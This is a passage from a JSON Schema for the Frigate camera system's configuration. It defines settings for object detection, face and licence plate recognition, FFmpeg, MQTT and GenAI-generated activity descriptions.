types.", "title": "Classification type"}}, "title": "CustomClassificationObjectConfig", "type": "object"}, "CustomClassificationStateCameraConfig": {"additionalProperties": false, "properties": {"crop": {"description": "Crop coordinates to use for running classification on this camera.", "items": {"type": "number"}, "title": "Classification crop", "type": "array"}}, "required": ["crop"], "title": "CustomClassificationStateCameraConfig", "type": "object"}, "CustomClassificationStateConfig": {"additionalProperties": false, "properties": {"cameras": {"additionalProperties": {"$ref": "#/$defs/CustomClassificationStateCameraConfig"}, "description": "Per-camera crop and settings for running state classification.", "title": "Classification cameras", "type": "object"}, "motion": {"default": false, "description": "If true, run classification when motion is detected within the specified crop.", "title": "Run on motion", "type": "boolean"}, "interval": {"anyOf": [{"exclusiveMinimum": 0, "type": "integer"}, {"type": "null"}], "default": null, "description": "Interval (seconds) between periodic classification runs for state classification.", "title": "Classification interval"}}, "required": ["cameras"], "title": "CustomClassificationStateConfig", "type": "object"}, "DatabaseConfig": {"additionalProperties": false, "properties": {"path": {"default": "/config/frigate.db", "description": "Filesystem path where the Frigate SQLite database file will be stored.", "title": "Database path", "type": "string"}}, "title": "DatabaseConfig", "type": "object"}, "DetectConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable object detection for all cameras; can be overridden per-camera.", "title": "Enable object detection", "type": "boolean"}, "height": {"anyOf": [{"type": "integer"}, {"type": "null"}], "default": null, "description": "Height (pixels) of frames used for the detect stream; leave empty to use the native stream resolution.", "title": "Detect height"}, "width": {"anyOf": [{"type": "integer"}, {"type": "null"}], "default": null, "description": "Width (pixels) of frames used for the detect stream; leave empty to use the native stream resolution.", "title": "Detect width"}, "scene": {"default": "default", "description": "The environment this camera looks at, used to pick which of the configured models runs on it. Cameras left on 'default' run the model configured with a scene of 'default'.", "pattern": "^[A-Za-z0-9_-]+$", "title": "Detect scene", "type": "string"}, "fps": {"default": 5, "description": "Desired frames per second to run detection on; lower values reduce CPU usage (recommended value is 5, only set higher - at most 10 - if tracking extremely fast moving objects).", "title": "Detect FPS", "type": "integer"}, "min_initialized": {"anyOf": [{"minimum": 2, "type": "integer"}, {"type": "null"}], "default": null, "description": "Number of consecutive detection hits required before creating a tracked object. Increase to reduce false initializations. Default value is fps divided by 2.", "title": "Minimum initialization frames"}, "max_disappeared": {"anyOf": [{"type": "integer"}, {"type": "null"}], "default": null, "description": "Number of frames without a detection before a tracked object is considered gone.", "title": "Maximum disappeared frames"}, "stationary": {"$ref": "#/$defs/StationaryConfig", "description": "Settings to detect and manage objects that remain stationary for a period of time.", "title": "Stationary objects config"}, "annotation_offset": {"default": 0, "description": "Milliseconds to shift detect annotations to better align timeline bounding boxes with recordings; can be positive or negative.", "title": "Annotation offset", "type": "integer"}}, "title": "DetectConfig", "type": "object"}, "DetectionsConfig": {"additionalProperties": false, "description": "Configure detections", "properties": {"enabled": {"default": true, "description": "Enable or disable detection events for all cameras; can be overridden per-camera.", "title": "Enable detections", "type": "boolean"}, "labels": {"anyOf": [{"items": {"type": "string"}, "type": "array"}, {"type": "null"}], "default": null, "description": "List of object labels that qualify as detection events.", "title": "Detection labels"}, "required_zones": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Zones that an object must enter to be considered a detection; leave empty to allow any zone.", "title": "Required zones"}, "cutoff_time": {"default": 30, "description": "Seconds to wait after no detection-causing activity before cutting off a detection.", "title": "Detections cutoff time", "type": "integer"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Tracks whether detections were originally enabled in the static configuration.", "title": "Original detections state"}}, "title": "DetectionsConfig", "type": "object"}, "EnrichmentsDeviceEnum": {"enum": ["GPU", "CPU"], "title": "EnrichmentsDeviceEnum", "type": "string"}, "EventsConfig": {"additionalProperties": false, "properties": {"pre_capture": {"default": 5, "description": "Number of seconds before the detection event to include in the recording.", "maximum": 60, "minimum": 0, "title": "Pre-capture seconds", "type": "integer"}, "post_capture": {"default": 5, "description": "Number of seconds after the detection event to include in the recording.", "minimum": 0, "title": "Post-capture seconds", "type": "integer"}, "retain": {"$ref": "#/$defs/ReviewRetainConfig", "description": "Retention settings for recordings of detection events.", "title": "Event retention"}}, "title": "EventsConfig", "type": "object"}, "FaceRecognitionConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable face recognition for all cameras; can be overridden per-camera.", "title": "Enable face recognition", "type": "boolean"}, "model_size": {"$ref": "#/$defs/ModelSizeEnum", "default": "small", "description": "Model size to use for face embeddings (small/large); larger may require GPU.", "title": "Model size"}, "unknown_score": {"default": 0.8, "description": "Distance threshold below which a face is considered a potential match (higher = stricter).", "exclusiveMinimum": 0.0, "maximum": 1.0, "title": "Unknown score threshold", "type": "number"}, "detection_threshold": {"default": 0.7, "description": "Minimum detection confidence required to consider a face detection valid.", "exclusiveMinimum": 0.0, "maximum": 1.0, "title": "Detection threshold", "type": "number"}, "recognition_threshold": {"default": 0.9, "description": "Face embedding distance threshold to consider two faces a match.", "exclusiveMinimum": 0.0, "maximum": 1.0, "title": "Recognition threshold", "type": "number"}, "min_area": {"default": 750, "description": "Minimum area (pixels) of a detected face box required to attempt recognition.", "title": "Minimum face area", "type": "integer"}, "min_faces": {"default": 1, "description": "Minimum number of face recognitions required before applying a recognized sub-label to a person.", "exclusiveMinimum": 0, "maximum": 6, "title": "Minimum faces", "type": "integer"}, "save_attempts": {"default": 200, "description": "Number of face recognition attempts to retain for recent recognition UI.", "minimum": 0, "title": "Save attempts", "type": "integer"}, "blur_confidence_filter": {"default": true, "description": "Adjust confidence scores based on image blur to reduce false positives for poor quality faces.", "title": "Blur confidence filter", "type": "boolean"}, "device": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "This is an override, to target a specific device. See https://onnxruntime.ai/docs/execution-providers/ for more information", "title": "Device"}}, "title": "FaceRecognitionConfig", "type": "object"}, "FfmpegConfig": {"additionalProperties": false, "properties": {"path": {"default": "default", "description": "Path to the FFmpeg binary to use or a version alias (\"7.0\" or \"8.0\").", "title": "FFmpeg path", "type": "string"}, "global_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": ["-hide_banner", "-loglevel", "warning", "-threads", "2"], "description": "Global arguments passed to FFmpeg processes.", "title": "FFmpeg global arguments"}, "hwaccel_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "auto", "description": "Hardware acceleration arguments for FFmpeg. Provider-specific presets are recommended.", "title": "Hardware acceleration arguments"}, "input_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "preset-rtsp-generic", "description": "Input arguments applied to FFmpeg input streams.", "title": "Input arguments"}, "output_args": {"$ref": "#/$defs/FfmpegOutputArgsConfig", "description": "Default output arguments used for different FFmpeg roles such as detect and record.", "title": "Output arguments"}, "retry_interval": {"default": 10.0, "description": "Seconds to wait before attempting to reconnect a camera stream after failure. Default is 10.", "exclusiveMinimum": 0.0, "title": "FFmpeg retry time", "type": "number"}, "apple_compatibility": {"default": false, "description": "Enable HEVC tagging for better Apple player compatibility when recording H.265.", "title": "Apple compatibility", "type": "boolean"}, "gpu": {"default": 0, "description": "Default GPU index used for hardware acceleration if available.", "title": "GPU index", "type": "integer"}}, "title": "FfmpegConfig", "type": "object"}, "FfmpegOutputArgsConfig": {"additionalProperties": false, "properties": {"detect": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": ["-threads", "2", "-f", "rawvideo", "-pix_fmt", "yuv420p"], "description": "Default output arguments for detect role streams.", "title": "Detect output arguments"}, "record": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "preset-record-generic-audio-aac", "description": "Default output arguments for record role streams.", "title": "Record output arguments"}, "record_sub": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Output arguments for record_sub role streams. The record output arguments are used when this is not set.", "title": "Sub stream record output arguments"}}, "title": "FfmpegOutputArgsConfig", "type": "object"}, "FilterConfig": {"additionalProperties": false, "properties": {"min_area": {"anyOf": [{"type": "integer"}, {"type": "number"}], "default": 0, "description": "Minimum bounding box area (pixels or percentage) required for this object type. Can be pixels (int) or percentage (float between 0.000001 and 0.99).", "title": "Minimum object area"}, "max_area": {"anyOf": [{"type": "integer"}, {"type": "number"}], "default": 24000000, "description": "Maximum bounding box area (pixels or percentage) allowed for this object type. Can be pixels (int) or percentage (float between 0.000001 and 0.99).", "title": "Maximum object area"}, "min_ratio": {"default": 0, "description": "Minimum width/height ratio required for the bounding box to qualify.", "title": "Minimum aspect ratio", "type": "number"}, "max_ratio": {"default": 24000000, "description": "Maximum width/height ratio allowed for the bounding box to qualify.", "title": "Maximum aspect ratio", "type": "number"}, "threshold": {"default": 0.7, "description": "Average detection confidence threshold required for the object to be considered a true positive.", "title": "Confidence threshold", "type": "number"}, "min_score": {"default": 0.5, "description": "Minimum single-frame detection confidence required for the object to be counted.", "title": "Minimum confidence", "type": "number"}, "mask": {"additionalProperties": {"anyOf": [{"$ref": "#/$defs/ObjectMaskConfig"}, {"type": "null"}]}, "description": "Polygon coordinates defining where this filter applies within the frame.", "title": "Filter mask", "type": "object"}, "raw_mask": {"additionalProperties": {"anyOf": [{"$ref": "#/$defs/ObjectMaskConfig"}, {"type": "null"}]}, "title": "Raw Mask", "type": "object"}}, "title": "FilterConfig", "type": "object"}, "GenAIConfig": {"additionalProperties": false, "description": "Primary GenAI Config to define GenAI Provider.", "properties": {"api_key": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "API key required by some providers (can also be set via environment variables).", "title": "API key"}, "base_url": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Base URL for self-hosted or compatible providers (for example an Ollama instance).", "title": "Base URL"}, "model": {"default": "", "description": "The model to use from the provider for generating descriptions or summaries.", "title": "Model", "type": "string"}, "provider": {"$ref": "#/$defs/GenAIProviderEnum", "description": "The GenAI provider to use (for example: ollama, gemini, openai).", "title": "Provider"}, "roles": {"description": "GenAI roles (chat, descriptions, embeddings, transcribe); one provider per role. Only chat, descriptions, and embeddings are granted by default; transcribe must be listed explicitly.", "items": {"$ref": "#/$defs/GenAIRoleEnum"}, "title": "Roles", "type": "array"}, "provider_options": {"additionalProperties": {}, "default": {}, "description": "Additional provider-specific options to pass to the GenAI client.", "title": "Provider options", "type": "object"}, "runtime_options": {"additionalProperties": {}, "default": {}, "description": "Runtime options passed to the provider for each inference call.", "title": "Runtime options", "type": "object"}}, "required": ["provider"], "title": "GenAIConfig", "type": "object"}, "GenAIObjectConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable GenAI generation of descriptions for tracked objects by default.", "title": "Enable GenAI", "type": "boolean"}, "use_snapshot": {"default": false, "description": "Use object snapshots instead of thumbnails for GenAI description generation.", "title": "Use snapshots", "type": "boolean"}, "prompt": {"default": "Analyze the sequence of images containing the {label}. Focus on the likely intent or behavior of the {label} based on its actions and movement, rather than describing its appearance or the surroundings. Consider what the {label} is doing, why, and what it might do next.", "description": "Default prompt template used when generating descriptions with GenAI.", "title": "Caption prompt", "type": "string"}, "object_prompts": {"additionalProperties": {"type": "string"}, "description": "Per-object prompts to customize GenAI outputs for specific labels.", "title": "Object prompts", "type": "object"}, "objects": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "List of object labels to send to GenAI by default.", "title": "GenAI objects"}, "required_zones": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Zones that must be entered for objects to qualify for GenAI description generation.", "title": "Required zones"}, "debug_save_thumbnails": {"default": false, "description": "Save thumbnails sent to GenAI for debugging and review.", "title": "Save thumbnails", "type": "boolean"}, "send_triggers": {"$ref": "#/$defs/GenAIObjectTriggerConfig", "description": "Defines when frames should be sent to GenAI (on end, after updates, etc.).", "title": "GenAI triggers"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Indicates whether GenAI was enabled in the original static config.", "title": "Original GenAI state"}}, "title": "GenAIObjectConfig", "type": "object"}, "GenAIObjectTriggerConfig": {"additionalProperties": false, "properties": {"tracked_object_end": {"default": true, "description": "Send a request to GenAI when the tracked object ends.", "title": "Send on end", "type": "boolean"}, "after_significant_updates": {"anyOf": [{"minimum": 1, "type": "integer"}, {"type": "null"}], "default": null, "description": "Send a request to GenAI after a specified number of significant updates for the tracked object.", "title": "Early GenAI trigger"}}, "title": "GenAIObjectTriggerConfig", "type": "object"}, "GenAIProviderEnum": {"enum": ["openai", "azure_openai", "gemini", "ollama", "llamacpp"], "title": "GenAIProviderEnum", "type": "string"}, "GenAIReviewConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable GenAI-generated descriptions and summaries for review items.", "title": "Enable GenAI descriptions", "type": "boolean"}, "alerts": {"default": true, "description": "Use GenAI to generate descriptions for alert items.", "title": "Enable GenAI for alerts", "type": "boolean"}, "detections": {"default": false, "description": "Use GenAI to generate descriptions for detection items.", "title": "Enable GenAI for detections", "type": "boolean"}, "image_source": {"$ref": "#/$defs/ImageSourceEnum", "default": "preview", "description": "Source of images sent to GenAI ('preview' or 'recordings'); 'recordings' uses higher quality frames but more tokens.", "title": "Review image source"}, "additional_concerns": {"default": [], "description": "A list of additional concerns or notes the GenAI should consider when evaluating activity on this camera.", "items": {"type": "string"}, "title": "Additional concerns", "type": "array"}, "debug_save_thumbnails": {"default": false, "description": "Save thumbnails that are sent to the GenAI provider for debugging and review.", "title": "Save thumbnails", "type": "boolean"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Tracks whether GenAI review was originally enabled in the static configuration.", "title": "Original GenAI state"}, "preferred_language": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Preferred language to request from the GenAI provider for generated responses.", "title": "Preferred language"}, "frame_mode": {"$ref": "#/$defs/ReviewFrameModeEnum", "default": "frames", "description": "How frames are presented to the model. 'frames' sends the prompt followed by the frames, which suits models that track a sequence well on their own. 'annotated_frames' labels each frame and interleaves notes derived from object tracking, which helps models that lose track of activity that repeats or reverses.", "title": "Frame mode"}, "response_style": {"$ref": "#/$defs/ReviewResponseStyleEnum", "default": "default", "description": "Writing style preset for generated review descriptions. Presets adjust the tone and level of detail of the user-facing title, summary, and scene description; 'default' leaves the built-in prompt unchanged.", "title": "Response style"}, "activity_context_prompt": {"default": "### Normal Activity Indicators (Level 0)\n- Known/verified people in any zone at any time\n- People with pets in residential areas\n- Routine residential vehicle access during daytime/evening (6 AM - 10 PM): entering, exiting, loading/unloading items \u2014 normal commute and travel patterns\n- Deliveries or services during daytime/evening (6 AM - 10 PM): carrying packages to doors/porches, placing items, leaving\n- Services/maintenance workers with visible tools, uniforms, or service vehicles during daytime\n- Activity confined to public areas only (sidewalks, streets) without entering property at any time\n\n### Suspicious Activity Indicators (Level 1)\n- **Checking or probing vehicle/building access**: trying handles without entering, peering through windows, examining multiple vehicles, or possessing break-in tools \u2014 Level 1\n- **Unidentified person in private areas (driveways, near vehicles/buildings) during late night/early morning (11 PM - 5 AM)** \u2014 ALWAYS Level 1 regardless of activity or duration\n- Taking items that don't belong to them (packages, objects from porches/driveways)\n- Climbing or jumping fences/barriers to access property\n- Attempting to conceal actions or items from view\n- Prolonged loitering: remaining in same area without visible purpose throughout most of the sequence\n\n### Critical Threat Indicators (Level 2)\n- Holding break-in tools (crowbars, pry bars, bolt cutters)\n- Weapons visible (guns, knives, bats used aggressively)\n- Forced entry in progress\n- Physical aggression or violence\n- Active property damage or theft in progress\n\n### Assessment Guidance\nEvaluate in this order:\n\n1. **If person is verified/known** \u2192 Level 0 regardless of time or activity\n2. **If person is unidentified:**\n - Check time: If late night/early morning (11 PM - 5 AM) AND in private areas (driveways, near vehicles/buildings) \u2192 Level 1\n - Check actions: If probing access (trying handles without entering, checking multiple vehicles), taking items, climbing \u2192 Level 1\n - Otherwise, if daytime/evening (6 AM - 10 PM) with clear legitimate purpose (delivery, service, routine vehicle access) \u2192 Level 0\n3. **Escalate to Level 2 if:** Weapons, break-in tools, forced entry in progress, violence, or active property damage visible (escalates from Level 0 or 1)\n\nThe mere presence of an unidentified person in private areas during late night hours is inherently suspicious and warrants human review, regardless of what activity they appear to be doing or how brief the sequence is.", "description": "Custom prompt describing what is and is not suspicious activity to provide context for GenAI summaries.", "title": "Activity context prompt", "type": "string"}}, "title": "GenAIReviewConfig", "type": "object"}, "GenAIRoleEnum": {"enum": ["chat", "descriptions", "embeddings", "transcribe"], "title": "GenAIRoleEnum", "type": "string"}, "HeaderMappingConfig": {"additionalProperties": false, "properties": {"user": {"default": null, "description": "Header containing the authenticated username provided by the upstream proxy.", "title": "User header", "type": "string"}, "role": {"default": null, "description": "Header containing the authenticated user's role or groups from the upstream proxy.", "title": "Role header", "type": "string"}, "role_map": {"anyOf": [{"additionalProperties": {"items": {"type": "string"}, "type": "array"}, "type": "object"}, {"type": "null"}], "description": "Map upstream group values to Frigate roles (for example map admin groups to the admin role).", "title": "Role mapping"}}, "title": "HeaderMappingConfig", "type": "object"}, "IPv6Config": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable IPv6 support for Frigate services (API and UI) where applicable.", "title": "Enable IPv6", "type": "boolean"}}, "title": "IPv6Config", "type": "object"}, "ImageSourceEnum": {"description": "Image source options for GenAI Review.", "enum": ["preview", "recordings"], "title": "ImageSourceEnum", "type": "string"}, "InputDTypeEnum": {"enum": ["float", "float_denorm", "int"], "title": "InputDTypeEnum", "type": "string"}, "InputTensorEnum": {"enum": ["nchw", "nhwc", "hwnc", "hwcn"], "title": "InputTensorEnum", "type": "string"}, "LicensePlateRecognitionConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable license plate recognition for all cameras; can be overridden per-camera.", "title": "Enable LPR", "type": "boolean"}, "model_size": {"$ref": "#/$defs/ModelSizeEnum", "default": "small", "description": "Model size used for text detection/recognition. Most users should use 'small'.", "title": "Model size"}, "detection_threshold": {"default": 0.7, "description": "Detection confidence threshold to begin running OCR on a suspected plate.", "exclusiveMinimum": 0.0, "maximum": 1.0, "title": "Detection threshold", "type": "number"}, "min_area": {"default": 1000, "description": "Minimum plate area (pixels) required to attempt recognition.", "title": "Minimum plate area", "type": "integer"}, "recognition_threshold": {"default": 0.9, "description": "Confidence threshold required for recognized plate text to be attached as a sub-label.", "exclusiveMinimum": 0.0, "maximum": 1.0, "title": "Recognition threshold", "type": "number"}, "min_plate_length": {"default": 4, "description": "Minimum number of characters a recognized plate must contain to be considered valid.", "title": "Min plate length", "type": "integer"}, "format": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Optional regex to validate recognized plate strings against an expected format.", "title": "Plate format regex"}, "match_distance": {"default": 1, "description": "Number of character mismatches allowed when comparing detected plates to known plates.", "minimum": 0, "title": "Match distance", "type": "integer"}, "known_plates": {"anyOf": [{"additionalProperties": {"items": {"type": "string"}, "type": "array"}, "type": "object"}, {"type": "null"}], "default": {}, "description": "List of plates or regexes to specially track or alert on.", "title": "Known plates"}, "enhancement": {"default": 0, "description": "Enhancement level (0-10) to apply to plate crops prior to OCR; higher values may not always improve results, levels above 5 may only work with night time plates and should be used with caution.", "maximum": 10, "minimum": 0, "title": "Enhancement level", "type": "integer"}, "debug_save_plates": {"default": false, "description": "Save plate crop images for debugging LPR performance.", "title": "Save debug plates", "type": "boolean"}, "device": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "This is an override, to target a specific device. See https://onnxruntime.ai/docs/execution-providers/ for more information", "title": "Device"}, "replace_rules": {"description": "Regex replacement rules used to normalize detected plate strings before matching.", "items": {"$ref": "#/$defs/ReplaceRule"}, "title": "Replacement rules", "type": "array"}}, "title": "LicensePlateRecognitionConfig", "type": "object"}, "ListenConfig": {"additionalProperties": false, "properties": {"internal": {"anyOf": [{"type": "integer"}, {"type": "string"}], "default": 5000, "description": "Internal listening port for Frigate (default 5000).", "title": "Internal port"}, "external": {"anyOf": [{"type": "integer"}, {"type": "string"}], "default": 8971, "description": "External listening port for Frigate (default 8971).", "title": "External port"}}, "title": "ListenConfig", "type": "object"}, "LiveTranscodeConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Add lower-quality live streams that go2rtc transcodes in real time while someone is watching.", "title": "Enable transcoded streams", "type": "boolean"}, "source": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "go2rtc stream to transcode. Defaults to the first live stream.", "title": "Source stream"}, "qualities": {"description": "One transcoded stream is added per quality.", "items": {"$ref": "#/$defs/LiveTranscodeQualityConfig"}, "title": "Qualities", "type": "array"}}, "title": "LiveTranscodeConfig", "type": "object"}, "LiveTranscodeQualityConfig": {"additionalProperties": false, "properties": {"height": {"description": "Output height in pixels; width follows the source aspect ratio.", "maximum": 2160, "minimum": 144, "title": "Height", "type": "integer"}, "bitrate": {"description": "Target and maximum video bitrate in kbps.", "minimum": 64, "title": "Bitrate", "type": "integer"}}, "required": ["height", "bitrate"], "title": "LiveTranscodeQualityConfig", "type": "object"}, "LogLevel": {"enum": ["debug", "info", "warning", "error", "critical"], "title": "LogLevel", "type": "string"}, "LoggerConfig": {"additionalProperties": false, "properties": {"default": {"$ref": "#/$defs/LogLevel", "default": "info", "title": "Logging level", "description": "Default global log verbosity (debug, info, warning, error)."}, "logs": {"additionalProperties": {"$ref": "#/$defs/LogLevel"}, "description": "Per-component log level overrides to increase or decrease verbosity for specific modules.", "title": "Per-process log level", "type": "object"}}, "title": "LoggerConfig", "type": "object"}, "ModelConfig": {"additionalProperties": false, "properties": {"scene": {"default": "default", "description": "A name for the camera environment this model is used for, such as 'thermal'. Cameras select a model by setting detect.scene to a matching value, and the 'default' model is used by any camera that does not set one.", "pattern": "^[A-Za-z0-9_-]+$", "title": "Model scene", "type": "string"}, "devices": {"description": "Hardware this model runs on, as '' or ':' (for example 'edgetpu:pci:0' or 'openvino:GPU'). Listing the same device more than once runs additional inference processes on it.", "items": {"type": "string"}, "title": "Detection hardware", "type": "array"}, "path": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Path to a custom detection model file (or plus:// for Frigate+ models).", "title": "Custom object detector model path"}, "labelmap_path": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Path to a labelmap file that maps numeric classes to string labels for the detector.", "title": "Label map for custom object detector"}, "width": {"default": 320, "description": "Width of the model input tensor in pixels.", "title": "Object detection model input width", "type": "integer"}, "height": {"default": 320, "description": "Height of the model input tensor in pixels.", "title": "Object detection model input height", "type": "integer"}, "labelmap": {"additionalProperties": {"type": "string"}, "description": "Overrides or remapping entries to merge into the standard labelmap.", "title": "Labelmap customization", "type": "object"}, "attributes_map": {"additionalProperties": {"items": {"type": "string"}, "type": "array"}, "default": {"person": ["amazon", "face"], "car": ["amazon", "an_post", "canada_post", "dhl", "dpd", "fedex", "gls", "license_plate", "nzpost", "postnl", "postnord", "purolator", "royal_mail", "ups", "usps"], "truck": ["license_plate"], "garbage_truck": ["license_plate"], "motorcycle": ["license_plate"], "bus": ["license_plate"], "school_bus": ["license_plate"]}, "description": "Mapping from object labels to attribute labels used to attach metadata (for example 'car' -> ['license_plate']).", "title": "Map of object labels to their attribute labels", "type": "object"}, "input_tensor": {"$ref": "#/$defs/InputTensorEnum", "default": "nhwc", "description": "Tensor format expected by the model: 'nhwc' or 'nchw'.", "title": "Model Input Tensor Shape"}, "input_pixel_format": {"$ref": "#/$defs/PixelFormatEnum", "default": "rgb", "description": "Pixel colorspace expected by the model: 'rgb', 'bgr', or 'yuv'.", "title": "Model Input Pixel Color Format"}, "input_dtype": {"$ref": "#/$defs/InputDTypeEnum", "default": "int", "description": "Data type of the model input tensor (for example 'float32').", "title": "Model Input D Type"}, "model_type": {"$ref": "#/$defs/ModelTypeEnum", "default": "ssd", "description": "Detector model architecture type (ssd, yolox, yolonas, yolo-generic, rfdetr, dfine) used by some detectors for optimization.", "title": "Object Detection Model Type"}}, "title": "ModelConfig", "type": "object"}, "ModelSizeEnum": {"enum": ["small", "large"], "title": "ModelSizeEnum", "type": "string"}, "ModelTypeEnum": {"enum": ["dfine", "rfdetr", "ssd", "yolox", "yolonas", "yolo-generic"], "title": "ModelTypeEnum", "type": "string"}, "MotionConfig": {"additionalProperties": false, "properties": {"enabled": {"default": true, "description": "Enable or disable motion detection for all cameras; can be overridden per-camera.", "title": "Enable motion detection", "type": "boolean"}, "threshold": {"default": 30, "description": "Pixel difference threshold used by the motion detector; higher values reduce sensitivity (range 1-255).", "maximum": 255, "minimum": 1, "title": "Motion threshold", "type": "integer"}, "lightning_threshold": {"default": 0.8, "description": "Threshold to detect and ignore brief lighting spikes (lower is more sensitive, values between 0.3 and 1.0). This does not prevent motion detection entirely; it merely causes the detector to stop analyzing additional frames once the threshold is exceeded. Motion-based recordings are still created during these events.", "maximum": 1.0, "minimum": 0.3, "title": "Lightning threshold", "type": "number"}, "skip_motion_threshold": {"anyOf": [{"maximum": 1.0, "minimum": 0.0, "type": "number"}, {"type": "null"}], "default": null, "description": "If set to a value between 0.0 and 1.0, and more than this fraction of the image changes in a single frame, the detector will return no motion boxes and immediately recalibrate. This can save CPU and reduce false positives during lightning, storms, etc., but may miss real events such as a PTZ camera auto\u2011tracking an object. The trade\u2011off is between dropping a few megabytes of recordings versus reviewing a couple short clips. Leave unset (None) to disable this feature.", "title": "Skip motion threshold"}, "improve_contrast": {"default": true, "description": "Apply contrast improvement to frames before motion analysis to help detection.", "title": "Improve contrast", "type": "boolean"}, "contour_area": {"anyOf": [{"type": "integer"}, {"type": "null"}], "default": 10, "description": "Minimum contour area in pixels required for a motion contour to be counted.", "title": "Contour area"}, "delta_alpha": {"default": 0.2, "description": "Alpha blending factor used in frame differencing for motion calculation.", "title": "Delta alpha", "type": "number"}, "frame_alpha": {"default": 0.01, "description": "Alpha value used when blending frames for motion preprocessing.", "title": "Frame alpha", "type": "number"}, "frame_height": {"anyOf": [{"type": "integer"}, {"type": "null"}], "default": 100, "description": "Height in pixels to scale frames to when computing motion.", "title": "Frame height"}, "mask": {"additionalProperties": {"anyOf": [{"$ref": "#/$defs/MotionMaskConfig"}, {"type": "null"}]}, "description": "Ordered x,y coordinates defining the motion mask polygon used to include/exclude areas.", "title": "Mask coordinates", "type": "object"}, "mqtt_off_delay": {"default": 30, "description": "Seconds to wait after last motion before publishing an MQTT 'off' state.", "title": "MQTT off delay", "type": "integer"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Indicates whether motion detection was enabled in the original static configuration.", "title": "Original motion state"}, "raw_mask": {"additionalProperties": {"anyOf": [{"$ref": "#/$defs/MotionMaskConfig"}, {"type": "null"}]}, "title": "Raw Mask", "type": "object"}}, "title": "MotionConfig", "type": "object"}, "MotionMaskConfig": {"additionalProperties": false, "description": "Configuration for a single motion mask.", "properties": {"friendly_name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "A friendly name for this motion mask used in the Frigate UI", "title": "Friendly name"}, "enabled": {"default": true, "description": "Enable or disable this motion mask", "title": "Enabled", "type": "boolean"}, "coordinates": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "", "description": "Ordered x,y coordinates defining the motion mask polygon used to include/exclude areas.", "title": "Coordinates"}, "raw_coordinates": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "", "title": "Raw Coordinates"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "title": "Keep track of original state of motion mask."}}, "title": "MotionMaskConfig", "type": "object"}, "MqttConfig": {"additionalProperties": false, "properties": {"enabled": {"default": true, "description": "Enable or disable MQTT integration for state, events, and snapshots.", "title": "Enable MQTT", "type": "boolean"}, "host": {"default": "", "description": "Hostname or IP address of the MQTT broker.", "title": "MQTT host", "type": "string"}, "port": {"default": 1883, "description": "Port of the MQTT broker (usually 1883 for plain MQTT).", "title": "MQTT port", "type": "integer"}, "topic_prefix": {"default": "frigate", "description": "MQTT topic prefix for all Frigate topics; must be unique if running multiple instances.", "title": "Topic prefix", "type": "string"}, "client_id": {"default": "frigate", "description": "Client identifier used when connecting to the MQTT broker; should be unique per instance.", "title": "Client ID", "type": "string"}, "stats_interval": {"default": 60, "description": "Interval in seconds for publishing system and camera stats to MQTT.", "minimum": 15, "title": "Stats interval", "type": "integer"}, "user": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Optional MQTT username; can be provided via environment variables or secrets.", "title": "MQTT username"}, "password": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Optional MQTT password; can be provided via environment variables or secrets.", "title": "MQTT password"}, "tls_ca_certs": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Path to CA certificate for TLS connections to the broker (for self-signed certs).", "title": "TLS CA certs"}, "tls_client_cert": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Client certificate path for TLS mutual authentication; do not set user/password when using client certs.", "title": "Client cert"}, "tls_client_key": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Private key path for the client certificate.", "title": "Client key"}, "tls_insecure": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Allow insecure TLS connections by skipping hostname verification (not recommended).", "title": "TLS insecure"}, "qos": {"default": 0, "description": "Quality of Service level for MQTT publishes/subscriptions (0, 1, or 2).", "title": "MQTT QoS", "type": "integer"}}, "title": "MqttConfig", "type": "object"}, "NetworkingConfig": {"additionalProperties": false, "properties": {"ipv6": {"$ref": "#/$defs/IPv6Config", "description": "IPv6-specific settings for Frigate network services.", "title": "IPv6 